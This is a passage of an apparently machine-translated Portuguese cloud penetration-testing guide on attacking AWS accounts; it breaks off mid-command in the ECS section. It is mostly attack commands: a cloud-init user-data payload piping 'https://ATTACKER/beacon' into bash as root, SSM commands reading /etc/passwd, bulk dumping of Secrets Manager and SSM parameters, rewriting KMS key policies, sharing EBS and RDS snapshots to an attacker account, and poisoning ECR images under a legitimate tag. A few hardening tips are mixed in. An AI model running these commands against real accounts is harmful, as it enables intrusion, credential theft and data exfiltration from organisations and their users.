Se o bucket tiver o versionamento ativado, os objetos "excluídos" não são realmente removidos — eles deixam um registro. DeleteMarker, mas as versões anteriores permanecem até serem explicitamente removidas:
# List ALL versions including delete markers
aws s3api list-object-versions --bucket BUCKET_NAME
# Retrieve a specific version of a "deleted" file
aws s3api get-object \
--bucket BUCKET_NAME \
--key path/to/file.txt \
--version-id VERSION_ID_FROM_ABOVE \
recovered_file.txtUma política de "excluir" dados sensíveis, combinada com controle de versão ativo, é uma falsa sensação de segurança: qualquer pessoa que tenha s3:GetObjectVersion É possível recuperar tudo.
EC2 e VPC #
aws ec2 describe-instances
aws ec2 describe-security-groups
aws ec2 describe-key-pairs
aws ec2 describe-vpcs
aws ec2 describe-subnets
aws ec2 describe-route-tables# IAM instance profile attached — often the fastest path to credentials
aws ec2 describe-instances --query 'Reservations[].Instances[].IamInstanceProfile'
# IMDS configuration — HttpTokens: required = IMDSv2 enforced,
# optional = IMDSv1 still accepted
aws ec2 describe-instances --query 'Reservations[].Instances[].MetadataOptions'
# User-data: often holds provisioning scripts with hardcoded secrets
aws ec2 describe-instance-attribute --instance-id i-XXXXXXXXXXXX --attribute userData \
--query 'UserData.Value' --output text | base64 -d
# Launch templates: the same user-data can be reused across the fleet
aws ec2 describe-launch-templates
aws ec2 describe-launch-template-versions --launch-template-id lt-XXXXXXXX
# Snapshots and AMIs — check access permissions, not just existence
aws ec2 describe-snapshots --owner-ids self
aws ec2 describe-snapshot-attribute --snapshot-id snap-XXXXXXXX --attribute createVolumePermission
aws ec2 describe-images --owners self
aws ec2 describe-image-attribute --image-id ami-XXXXXXXX --attribute launchPermission
# Snapshots/AMIs the account can restore because they were shared too broadly
# (often shared "public" by mistake — a classic data-exposure finding)
aws ec2 describe-snapshots --restorable-by-user-ids all --query 'Snapshots[?Encrypted==`false`]'
aws ec2 describe-images --executable-users all --owners TARGET_ACCOUNT_IDUma AMI ou snapshot compartilhado publicamente (all) expõe todo o conteúdo do disco — frequentemente chaves SSH, credenciais embutidas no código-fonte — a qualquer pessoa que conheça o ID. Reforço de segurança: Auditoria periódica do createVolumePermission/launchPermissione bloquear o acesso público a snapshots do EBS no nível da conta.
Pontos de extremidade EC2: https://ec2.us-east-1.amazonaws.com/ — protocolo de consulta semelhante ao STS/IAM, mas com parâmetros mais detalhados (índices numerados para filtros):
curl --aws-sigv4 "aws:amz:us-east-1:ec2" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" \
-d "Action=DescribeInstances&Version=2016-11-15" \
https://ec2.us-east-1.amazonaws.com/Consulta consolidada:
aws ec2 describe-instances --query \
'Reservations[].Instances[].{
ID:InstanceId, PublicIP:PublicIpAddress, PrivateIP:PrivateIpAddress,
SG:SecurityGroups[].GroupId, Profile:IamInstanceProfile.Arn,
IMDS:MetadataOptions.HttpTokens
}' --output tableMovimentação lateral sem SSH: EC2 Instance Connect e SSM #
Duas maneiras de executar comandos em uma instância sem ter a chave SSH original.
Conexão de instância EC2 — Envio temporário da sua chave pública:
aws ec2-instance-connect send-ssh-public-key \
--instance-id i-XXXXXXXXXXXX --availability-zone us-east-1a \
--instance-os-user ec2-user --ssh-public-key file://~/.ssh/id_rsa.pub
ssh -i ~/.ssh/id_rsa ec2-user@TARGET_IPexigir ec2-instance-connect:SendSSHPublicKey e que o agente EC2 Instance Connect esteja instalado na instância (o padrão em muitas AMIs recentes do Amazon Linux/Ubuntu).
Comando de execução SSM — executar comandos sem SSH, se a instância tiver o agente SSM ativo e uma função com AmazonSSMManagedInstanceCoreO SSM utiliza o protocolo JSON 1.1 com X-Amz-Target (como o Secrets Manager, mostrado abaixo).
Endpoint: https://ssm.us-east-1.amazonaws.com/
curl --aws-sigv4 "aws:amz:us-east-1:ssm" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonSSM.SendCommand" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"InstanceIds":["i-XXXXXXXXXXXX"],"DocumentName":"AWS-RunShellScript","Parameters":{"commands":["id"]}}' \
https://ssm.us-east-1.amazonaws.com/
# Run a command and capture its output
COMMAND_ID=$(aws ssm send-command \
--instance-ids "i-XXXXXXXXXXXX" \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["id","cat /etc/passwd"]' \
--query 'Command.CommandId' --output text)
aws ssm get-command-invocation \
--command-id "$COMMAND_ID" --instance-id "i-XXXXXXXXXXXX"Desempenha funções como root no Linux ou SYSTEM No Windows, por padrão, é um dos caminhos de movimento lateral mais diretos em ambientes EC2 e gera menos ruído do que um RunInstances Porque não cria novos recursos.
Sessão interativa equivalente a um shell:
aws ssm start-session --target i-XXXXXXXXXXXXEncaminhamento de portas SSM — Cria um túnel para serviços internos não expostos à rede, ignorando os grupos de segurança:
# Forward a port on the instance itself to your local machine
aws ssm start-session \
--target i-XXXXXXXXXXXX \
--document-name AWS-StartPortForwardingSession \
--parameters '{"portNumber":["5432"],"localPortNumber":["5432"]}'
# Forward THROUGH the instance to a remote host it can reach (e.g. an RDS
# endpoint reachable only from inside the VPC)
aws ssm start-session \
--target i-XXXXXXXXXXXX \
--document-name AWS-StartPortForwardingSessionToRemoteHost \
--parameters '{"host":["internal-rds.example.com"],"portNumber":["5432"],"localPortNumber":["5432"]}'Desde que sua instância tenha o Agente SSM e a função correta, o túnel funciona independentemente de quaisquer regras de firewall entre você e o serviço de destino — é a maneira mais simples de acessar um banco de dados interno sem abrir nenhuma porta.
Editar dados do usuário: execução de código na próxima inicialização. #
É hai ec2:ModifyInstanceAttribute + ec2:StopInstances/ec2:StartInstancesInjetar um script nos dados do usuário que é executado como root na reinicialização — sem SSH, sem SSM, sem agentes pré-instalados:
# Encode payload — cloud-init runs this as root on next start
printf '#!/bin/bash\ncurl -s https://ATTACKER/beacon | bash' | base64 > /tmp/ud.b64
aws ec2 modify-instance-attribute \
--instance-id i-XXXXXXXXXXXX \
--user-data file:///tmp/ud.b64
# stop + start (NOT reboot) to trigger cloud-init re-execution
aws ec2 stop-instances --instance-ids i-XXXXXXXXXXXX
aws ec2 start-instances --instance-ids i-XXXXXXXXXXXXEm muitas AMIs, o cloud-init executa apenas os dados do usuário na primeira inicialização — adicione rm -rf /var/lib/cloud/instances/* no início da carga útil para forçar a reexecução mesmo em instâncias já inicializadas.
Console serial EC2 #
Em instâncias Nitro: Acesso direto ao console serial, ignorando completamente SSH e SSM, mesmo que a instância não esteja respondendo à rede:
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id i-XXXXXXXXXXXX \
--serial-port 0 \
--ssh-public-key file://~/.ssh/id_rsa.pub
ssh -i ~/.ssh/id_rsa i-XXXXXXXXXXXX.port0@serial-console.ec2-instance-connect.us-east-1.awsSem portas especiais: SSH padrão (22). O ponto de extremidade varia conforme a região (algumas usam o formato ec2-serial-console.REGION.api.aws — verifique primeiro a tabela da AWS). Você tem segundo 60 depois send-serial-console-ssh-public-key antes que a chave seja removida. Requer ec2-instance-connect:SendSerialConsoleSSHPublicKeyÚtil em instâncias em estado degradado, com SSH bloqueado por grupos de segurança ou quando o SSM não responde.
Emparelhamento de VPC, Gateway de Trânsito e Conectividade entre Contas #
# VPC peering — may include connections to other AWS accounts
aws ec2 describe-vpc-peering-connections
# Transit Gateway — hub for multiple VPCs and on-prem connections
aws ec2 describe-transit-gateways
aws ec2 describe-transit-gateway-attachments
# VPN tunnels and Direct Connect links to on-prem
aws ec2 describe-vpn-connections
aws directconnect describe-connectionsUm peering entre contas de VPC com uma VPC não segmentada representa um movimento lateral direto: basta acessar o IP privado a partir da instância que você controla, sem assumir funções adicionais.
Rota 53: topologia interna e apropriação de subdomínios #
aws route53 list-hosted-zones
aws route53 list-resource-record-sets --hosted-zone-id ZONE_IDZonas hospedadas privadas revelam nomes de host nunca expostos publicamente: bancos de dados, APIs internas, endpoints de administração. Pesquise registros. CNAME que apontam para recursos excluídos do Elastic Beanstalk/S3/CloudFront/ELB — são candidatos à apropriação de subdomínio: se o recurso de destino não existir mais, qualquer pessoa que o recriar em sua infraestrutura herdará esse registro DNS.
Senha de administrador do Windows #
aws ec2 get-password-data --instance-id i-XXXXXXXXXXXXIsso só funciona em instâncias do Windows iniciadas com um par de chaves EC2. O campo PasswordData Está criptografado com a chave pública do par de chaves: a chave privada é necessária para descriptografá-lo.
Lambda #
aws lambda list-functions
aws lambda get-function --function-name FUNCTION_NAME
aws lambda get-function-configuration --function-name FUNCTION_NAMECurl equivalente de list-functions (REST-JSON, GET em caminho fixo):
curl --aws-sigv4 "aws:amz:us-east-1:lambda" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
"https://lambda.us-east-1.amazonaws.com/2015-03-31/functions?MaxItems=50"Análise mais aprofundada #
aws lambda list-versions-by-function --function-name FUNCTION_NAME
aws lambda list-aliases --function-name FUNCTION_NAME
# Execution role: the real privilege the function runs with
aws lambda get-function-configuration --function-name FUNCTION_NAME --query 'Role'
aws iam list-attached-role-policies --role-name EXTRACTED_ROLE_NAME
aws lambda list-event-source-mappings --function-name FUNCTION_NAME
aws lambda get-function-url-config --function-name FUNCTION_NAME
aws lambda get-policy --function-name FUNCTION_NAMEExploração: lambda:UpdateFunctionCode
#
Se você puder modificar o código de uma função existir mas não crie uma nova, você pode assumir o controle da função de execução dela sem precisar fazer isso. iam:PassRole (a função já possui esse papel atribuído):
# Build a payload matching the function's existing handler name
zip payload.zip lambda_function.py
aws lambda update-function-code --function-name TARGET_FUNCTION --zip-file fileb://payload.zip
aws lambda invoke --function-name TARGET_FUNCTION output.jsonInvocação direta via API REST #
POST https://lambda.REGION.amazonaws.com/2015-03-31/functions/FUNCTION_NAME/invocationscurl --aws-sigv4 "aws:amz:us-east-1:lambda" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-X POST -d '{"test":"payload"}' \
"https://lambda.us-east-1.amazonaws.com/2015-03-31/functions/FUNCTION_NAME/invocations"Função de URL pública (AuthType: NONE, confira com get-function-url-config), sem quaisquer credenciais:
curl -X POST "https://FUNCTION_URL_ID.lambda-url.us-east-1.on.aws/" \
-H "Content-Type: application/json" -d '{"test":"payload"}'Credenciais de função dentro da própria função #
O Lambda não expõe o IMDS: as credenciais da função de execução são recuperadas por meio do endpoint de credenciais do contêiner local, já apontado pelas variáveis de ambiente do processo:
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_FULL_URI" \
-H "Authorization: $AWS_CONTAINER_AUTHORIZATION_TOKEN"O mesmo mecanismo se aplica às tarefas ECS no Fargate/EC2 (seção ECS abaixo).
Gerente de Segredos, SSM e KMS #
Gerente de segredos #
aws secretsmanager list-secrets
aws secretsmanager describe-secret --secret-id SECRET_NAME
aws secretsmanager list-secret-version-ids --secret-id SECRET_NAME
aws secretsmanager get-secret-value --secret-id SECRET_NAMEcurl equivalente (JSON 1.1, X-Amz-Target Selecione a operação, não o caminho):
Endpoint: https://secretsmanager.us-east-1.amazonaws.com/ — caminho único (/) para todas as operações.
curl --aws-sigv4 "aws:amz:us-east-1:secretsmanager" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: secretsmanager.GetSecretValue" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"SecretId":"SECRET_NAME"}' \
https://secretsmanager.us-east-1.amazonaws.com/Armazenamento de parâmetros SSM #
aws ssm describe-parameters
aws ssm get-parameter --name /app/db/password --with-decryption
aws ssm get-parameters-by-path --path / --recursive --with-decryptionEndpoint: https://ssm.us-east-1.amazonaws.com/, mesmo protocolo JSON 1.1 visto acima para Executar Comando — aqui com X-Amz-Target: AmazonSSM.GetParametersByPath:
curl --aws-sigv4 "aws:amz:us-east-1:ssm" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonSSM.GetParametersByPath" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"Path":"/","Recursive":true,"WithDecryption":true}' \
https://ssm.us-east-1.amazonaws.com/O Secrets Manager e o SSM Parameter Store não são intercambiáveis: o Secrets Manager possui rotação automática integrada; o SSM é mais genérico e utiliza SecureString para valores criptografados (String/StringList já estão em texto claro). Ambos, para valores criptografados, dependem do KMS: sem kms:Decrypt na chave, --with-decryption Falha mesmo com as permissões SSM corretas.
Não é uma boa prática baixar indiscriminadamente todos os segredos visíveis: primeiro, enumere os metadados, recuperando apenas o necessário para demonstrar o impacto.
KMS #
aws kms list-keys
aws kms describe-key --key-id KEY_ID
aws kms get-key-policy --key-id KEY_ID --policy-name defaultEndpoint: https://kms.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: TrentService.ListKeys - TrentService Este é o nome interno histórico da API KMS, que permanece no cabeçalho até hoje:
curl --aws-sigv4 "aws:amz:us-east-1:kms" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: TrentService.ListKeys" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{}' \
https://kms.us-east-1.amazonaws.com/Ver uma chave não significa ser capaz de usá-la: kms:Decrypt/kms:Encrypt Essas são permissões separadas, avaliadas em relação à política principal e às políticas IAM do chamador.
Escalação de privilégios: kms:PutKeyPolicy
#
Pré-requisito: kms:PutKeyPolicy em uma chave que protege dados relevantes (por exemplo, um volume EBS, um bucket S3 SSE-KMS, um segredo). Impacto: Reescreva a política de chave para conceder a você kms:Decrypt diretamente, ignorando quaisquer restrições projetadas para essa chave — mesmo que você não tenha nenhuma permissão "legítima" do IAM no recurso criptografado, se você puder descriptografá-lo com a chave, poderá ler seu conteúdo.
aws kms get-key-policy --key-id KEY_ID --policy-name default --output text > current_policy.json
# Edit current_policy.json: add a Statement granting kms:Decrypt to your own principal ARN
aws kms put-key-policy --key-id KEY_ID --policy-name default --policy file://current_policy.jsonMitigação do lado do defensor: a política principal deve limitar kms:PutKeyPolicy para uma função administrativa dedicada, separada daquelas que utilizam a chave operacionalmente.
Decifre os dados diretamente com kms:Decrypt
#
Com kms:Decrypt Com a chave, você descriptografa dados criptografados no servidor sem passar pelo serviço de aplicativo que os produziu (por exemplo, um valor extraído de um segredo ou um blob SSE-KMS):
aws kms decrypt \
--ciphertext-blob fileb://encrypted.bin \
--output text --query Plaintext | base64 -d > decrypted.txtcurl --aws-sigv4 "aws:amz:us-east-1:kms" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: TrentService.Decrypt" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"CiphertextBlob":"BASE64_CIPHERTEXT"}' \
https://kms.us-east-1.amazonaws.com/Il CiphertextBlob Já contém os metadados da chave: o KMS sabe automaticamente qual usar, você não precisa especificar. O texto cifrado deve ser passado em base64.
Exfiltração via snapshot: EBS e RDS, sem afetar o recurso ativo. #
Um padrão frequentemente ignorado: você não precisa de acesso à rede ou credenciais de aplicativo para uma instância ou banco de dados para ler seus dados. Você pode simplesmente compartilhar um snapshot com sua própria conta (ou uma pública) e reconstruí-lo em outro lugar, fora do perímetro de monitoramento do alvo.
EBS #
Endpoint: https://ec2.us-east-1.amazonaws.com/ (mesmo endpoint de consulta EC2 visto acima — ModifySnapshotAttribute É só mais um. Action).
# If no snapshot exists yet: create one from a target volume (ec2:CreateSnapshot)
aws ec2 create-snapshot --volume-id vol-XXXXXXXX --description "backup"
# Prerequisite: ec2:ModifySnapshotAttribute on the snapshot
aws ec2 modify-snapshot-attribute \
--snapshot-id snap-XXXXXXXX \
--attribute createVolumePermission \
--operation-type add --user-ids YOUR_ATTACKER_ACCOUNT_ID
# From the attacker account: create a volume from the shared snapshot
aws ec2 create-volume --snapshot-id snap-XXXXXXXX --availability-zone us-east-1a
# Attach it to an instance you control and mount it — the data is now
# fully readable outside the target account's logging/monitoring scope
aws ec2 attach-volume --volume-id vol-XXXXXXXX --instance-id i-YOUR_INSTANCE --device /dev/sdfRDS #
Endpoint: https://rds.us-east-1.amazonaws.com/ (protocolo de consulta, como EC2/STS/IAM).
# Prerequisite: rds:ModifyDBSnapshotAttribute on an existing snapshot
aws rds modify-db-snapshot-attribute \
--db-snapshot-identifier SNAPSHOT_ID \
--attribute-name restore \
--values-to-add YOUR_ATTACKER_ACCOUNT_ID
# From the attacker account: restore a full new DB instance from it
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier exfil-restore \
--db-snapshot-identifier SNAPSHOT_IDImpacto: Em ambos os casos, você obtém uma cópia completa e persistente dos dados, sem qualquer interação direta com o recurso original — sem conexão de rede com o destino, sem consultas ao banco de dados ativo. Sempre verifique se o snapshot está criptografado com uma CMK do KMS: se estiver, você também precisará ter acesso à chave (veja acima) ou compartilhá-la com outras pessoas. kms:PutKeyPolicy/key grant, caso contrário, compartilhar o snapshot por si só não é suficiente para ler seu conteúdo na conta de destino.
Conjuntos de identidades do Cognito: credenciais IAM sem autenticação #
Se um aplicativo web/móvel tiver um ID de conjunto de identidades (IAM) codificado (normalmente encontrado no código JavaScript do lado do cliente ou na configuração do aplicativo) e o conjunto permitir acesso de convidados, você poderá obter credenciais IAM reais sem qualquer autenticação:
aws cognito-identity get-id --identity-pool-id IDENTITY_POOL_ID --no-sign-request
aws cognito-identity get-credentials-for-identity --identity-id IDENTITY_ID --no-sign-requestEquivalente ao Curl, HTTP bruto, sem assinatura (essas duas chamadas não exigem credenciais — elas são o ponto de entrada inicial):
Endpoint: https://cognito-identity.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: AWSCognitoIdentityService.OperationName — não é necessária assinatura SigV4 para GetId/GetCredentialsForIdentity em um pool não autenticado).
curl -X POST https://cognito-identity.us-east-1.amazonaws.com/ \
-H "X-Amz-Target: AWSCognitoIdentityService.GetId" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"IdentityPoolId":"IDENTITY_POOL_ID"}'
curl -X POST https://cognito-identity.us-east-1.amazonaws.com/ \
-H "X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"IdentityId":"IDENTITY_ID_FROM_ABOVE"}'A segunda resposta contém AccessKeyId, SecretKey, SessionToken Pronto para usar. A função não autenticada padrão (Cognito_<PoolName>Unauth_Role) geralmente não possui permissões, mas deve sempre ser testado — e as credenciais obtidas por meio do fluxo "aprimorado" carregam uma política de sessão restritiva, mesmo que a própria função seja mais permissiva: se o pool tiver o fluxo "Básico" habilitado, você pode contornar essa restrição passando o token OpenID:
aws cognito-identity get-open-id-token --identity-id IDENTITY_ID --no-sign-request
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME" \
--role-session-name pivot \
--web-identity-token TOKEN_FROM_ABOVEGrupos de usuários do Cognito: enumeração e acesso #
Os Grupos de Usuários (diferentes dos Grupos de Identidades discutidos acima) gerenciam o registro de usuários, login, MFA e recuperação de senhas. Frequentemente, possuem políticas fracas ou fluxos de autenticação vulneráveis.
aws cognito-idp list-user-pools --max-results 10
aws cognito-idp describe-user-pool --user-pool-id POOL_ID
aws cognito-idp list-user-pool-clients --user-pool-id POOL_ID
aws cognito-idp describe-user-pool-client --user-pool-id POOL_ID --client-id CLIENT_IDSe ExplicitAuthFlows do cliente inclui ALLOW_USER_PASSWORD_AUTH, o login passa o nome de usuário e a senha em texto não criptografado (sem SRP):
aws cognito-idp initiate-auth \
--auth-flow USER_PASSWORD_AUTH \
--client-id CLIENT_ID \
--auth-parameters USERNAME=target@email.com,PASSWORD='Password123!'Enumeração de usuários: é PreventUserExistenceErrors Se não estiver ativado, o Cognito distingue nomes de usuário inexistentes (UserNotFoundException) de senha incorreta (NotAuthorizedException) — permite que você confirme contas existentes.
Com credenciais IAM que possuem cognito-idp:AdminInitiateAuthOs fluxos administrativos ignoram as proteções do lado do cliente:
aws cognito-idp admin-initiate-auth \
--user-pool-id POOL_ID --client-id CLIENT_ID \
--auth-flow ADMIN_USER_PASSWORD_AUTH \
--auth-parameters USERNAME=target@email.com,PASSWORD='Password123!'EKS: Cluster Kubernetes #
aws eks list-clusters
aws eks describe-cluster --name CLUSTER_NAMEdescribe-cluster Retorna o endpoint da API do cluster e, principalmente, se o endpoint é público (resourcesVpcConfig.endpointPublicAccess: true). com eks:DescribeCluster + eks:AccessKubernetesApi Você gera um arquivo kubeconfig e se autentica no plano de controle usando suas credenciais da AWS:
aws eks update-kubeconfig --name CLUSTER_NAME --region us-east-1
# aws-iam-authenticator converte la credenziale IAM in un token K8s
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl auth can-i --listO mapeamento IAM→RBAC está no ConfigMap. aws-auth: uma identidade mapeada para system:masters é o administrador do cluster. Uma vez dentro, os tokens da conta de serviço são montados nos pods (/var/run/secrets/kubernetes.io/serviceaccount/token) e os segredos do cluster são o próximo passo.
Gateway de API: Endpoint sem autenticação #
aws apigateway get-rest-apis
aws apigateway get-resources --rest-api-id API_ID
aws apigateway get-stages --rest-api-id API_ID
aws apigateway get-method --rest-api-id API_ID --resource-id RES_ID --http-method GETMétodos de pesquisa com authorizationType: NONE — endpoints que podem ser invocados sem credenciais. A URL de invocação tem o formato https://API_ID.execute-api.REGION.amazonaws.com/STAGE/PATHFrequentemente, expõem funções Lambda internas que devem ser acessadas apenas pelo frontend, sem controles do lado do servidor.
AWS Organizations: Mapa de toda a organização #
aws organizations describe-organization
aws organizations list-accounts
aws organizations list-roots
aws organizations list-organizational-units-for-parent --parent-id ROOT_ID
aws organizations list-policies --filter SERVICE_CONTROL_POLICY
aws organizations describe-policy --policy-id POLICY_IDlist-accounts Isso fornece todos os registros da organização — o perímetro real, não apenas aquele em que você está. Os SCPs explicam porque certas ações falham com AccessDenied Mesmo quando o IAM permitir: um SCP no nível da Unidade Organizacional (OU) pode bloquear a ação upstream. Do ponto de vista do gerenciamento de contas, a função OrganizationAccountAccessRole Geralmente se assume, em cada conta filha, uma migração imediata para toda a organização.
OpenSearch / Elasticsearch #
aws opensearch list-domain-names
aws opensearch describe-domain --domain-name DOMAIN_NAME
aws es list-domain-names # legacy CLI name
aws es describe-elasticsearch-domain --domain-name DOMAIN_NAMEVerifique AccessPolicies na resposta: um domínio com política "Principal": "*" e nenhuma condição de IP é consultada publicamente via HTTP, sem credenciais da AWS. O endpoint está no campo Endpoint/Endpoints:
# If the access policy is open, query the index directly
curl "https://DOMAIN_ENDPOINT/_cat/indices?v"
curl "https://DOMAIN_ENDPOINT/INDEX_NAME/_search?pretty&size=20"Eles geralmente contêm registros de aplicativos, dados de identificação pessoal ou despejos completos de banco de dados indexados para pesquisa.
Step Functions: dados sensíveis no histórico de execução #
aws stepfunctions list-state-machines
aws stepfunctions describe-state-machine --state-machine-arn SM_ARN
aws stepfunctions list-executions --state-machine-arn SM_ARN
aws stepfunctions get-execution-history --execution-arn EXEC_ARNget-execution-history Eis o ponto interessante: cada transição de estado registra toda a entrada e saída passada entre as etapas. Se a máquina de estados move credenciais, tokens ou dados de usuário entre Lambdas, eles acabam no histórico em texto simples — legíveis apenas com o comando `ls`. states:GetExecutionHistory.
CloudFormation: modelo e saída #
Além da rua particular PassRole (Como visto acima), o CloudFormation é uma mina de ouro de segredos para se ler:
aws cloudformation list-stacks
aws cloudformation describe-stacks --stack-name STACK_NAME --query 'Stacks[].Outputs'
aws cloudformation get-template --stack-name STACK_NAME
aws cloudformation list-stack-resources --stack-name STACK_NAME
aws cloudformation describe-stack-events --stack-name STACK_NAMEo Outputs frequentemente contêm endpoints, ARNs e — numa prática inadequada comum — senhas ou chaves passadas como parâmetros. get-template Ele revela toda a infraestrutura como código: parâmetros padrão, recursos e, às vezes, segredos codificados diretamente no modelo, em vez de serem referenciados pelo Gerenciador de Segredos.
Cola: Credenciais em Conexões #
aws glue get-databases
aws glue get-tables --database-name DB_NAME
aws glue get-connections
aws glue get-connection --name CONNECTION_NAMEget-connections é o alvo: Conexões Glue com bancos de dados externos frequentemente contêm nomes de usuário e senhas em ConnectionProperties (USERNAME, PASSWORD), retornou apenas glue:GetConnectionO catálogo de dados (get-tables) também revela o esquema S3 e a localização de cada conjunto de dados, o que é útil para saber onde procurar os dados reais.
CI/CD: CodeBuild e CodePipeline #
aws codebuild list-projects
aws codebuild batch-get-projects --names PROJECT_NAME
aws codepipeline list-pipelines
aws codepipeline get-pipeline --name PIPELINE_NAMEbatch-get-projects exposição environment.environmentVariables: crie variáveis frequentemente com tokens, credenciais de implantação ou chaves de API em texto não criptografado (PLAINTEXT) em vez de Secrets Manager/SSM. O campo serviceRole é a função sob a qual a compilação é executada — se você puder modificar o buildspec de um projeto (codebuild:UpdateProject (ou commitar no repositório de origem) executar comandos arbitrários nesse contexto, herdando seus privilégios: isso é o equivalente em CI/CD a sequestrar uma função Lambda.
Endurecimento: variáveis sensíveis sempre como SECRETS_MANAGER/PARAMETER_STORE, nunca PLAINTEXT; função de serviço com privilégio mínimo; revisão obrigatória do buildspec.
SES: Enviar e-mail do domínio de destino #
Se a identidade comprometida tiver acesso ao SES e o alvo possuir um domínio/endereço verificado, você poderá enviar e-mails assinados legitimamente (SPF/DKIM válidos) a partir do domínio dele — um vetor de phishing interno muito mais confiável do que um domínio externo.
aws ses list-identities
aws ses get-identity-verification-attributes --identities example.com
aws ses get-send-quotaget-identity-verification-attributes confirmar quais domínios são Success (verificado e utilizável). O impacto a ser documentado em um engajamento é este: uma identidade única com ses:SendEmail Transforma uma vulnerabilidade na nuvem em um canal de phishing de alta confiança para funcionários ou clientes.
Endurecimento: para estreitar ses:SendEmail/SendRawEmail somente para as identidades de aplicativos que precisam disso, com condições sobre FromAddress; monitorar picos de envio anormais.
Centro de Identidade IAM (SSO) #
Em ambientes corporativos, o acesso geralmente é centralizado no IAM Identity Center (anteriormente AWS SSO), e não em usuários IAM locais. Listar os conjuntos de permissões e suas atribuições fornece um mapa preciso de quem acessa o quê em todas as contas da organização.
aws sso-admin list-instances
aws sso-admin list-permission-sets --instance-arn INSTANCE_ARN
aws sso-admin describe-permission-set --instance-arn INSTANCE_ARN --permission-set-arn PS_ARN
aws sso-admin list-account-assignments --instance-arn INSTANCE_ARN \
--account-id ACCOUNT_ID --permission-set-arn PS_ARN
# Identity store: users and groups behind the assignments
aws identitystore list-users --identity-store-id STORE_ID
aws identitystore list-groups --identity-store-id STORE_IDUm conjunto de permissões com políticas excessivamente abrangentes atribuído a um grande grupo constitui um privilégio para toda a organização: todos os membros desse grupo herdam essas permissões em todas as contas vinculadas.
RDS, ECR e ECS #
RDS #
Endpoint: https://rds.us-east-1.amazonaws.com/ (protocolo de consulta — idêntico ao usado acima para compartilhamento de instantâneos).
aws rds describe-db-instances
aws rds describe-db-clusters
aws rds describe-db-snapshots
aws rds describe-db-snapshot-attributes --db-snapshot-identifier SNAPSHOT_IDVisualizar endpoints e configurações de rede não é o mesmo que ter acesso ao banco de dados: você precisa de conectividade de rede e credenciais de aplicativo válidas. Sempre verifique snapshots compartilhados publicamente.
ECR #
Endpoint: https://api.ecr.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: AmazonEC2ContainerRegistry_V20150921.DescribeRepositories — observe o nome do host api.ecr.*, diferente do nome de assinatura ecr usado em --aws-sigv4):
curl --aws-sigv4 "aws:amz:us-east-1:ecr" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonEC2ContainerRegistry_V20150921.DescribeRepositories" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{}' \
https://api.ecr.us-east-1.amazonaws.com/
aws ecr describe-repositories
aws ecr describe-images --repository-name REPO_NAME
aws ecr get-login-password --region REGIONget-login-password não enumera nada: retorna uma credencial temporária (12h) para o registro do Docker.
aws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com
docker pull ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latest
docker history --no-trunc ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latestEnvenenamento de imagem (cadeia de suprimentos): com ecr:PutImage + enviar para o repositório, você pode republicar uma imagem maliciosa com a mesma tag de uma imagem legítima. Qualquer pessoa que fizer isso então docker pull Essa tag (deploy ECS/EKS, CI/CD) executa seu código.
# Rebuild the image with an injected payload, keep the SAME tag
docker build -t ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latest .
docker push ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:latestEndurecimento: ativar imutabilidade da etiqueta no repositório (aws ecr put-image-tag-mutability --image-tag-mutability IMMUTABLE) — impede a sobrescrita de uma tag existente — e varredura on-push para interceptar imagens vulneráveis conhecidas.
ECS #
Endpoint: https://ecs.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: AmazonEC2ContainerServiceV20141113.ListClusters):
curl --aws-sigv4 "aws:amz:us-east-1:ecs" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
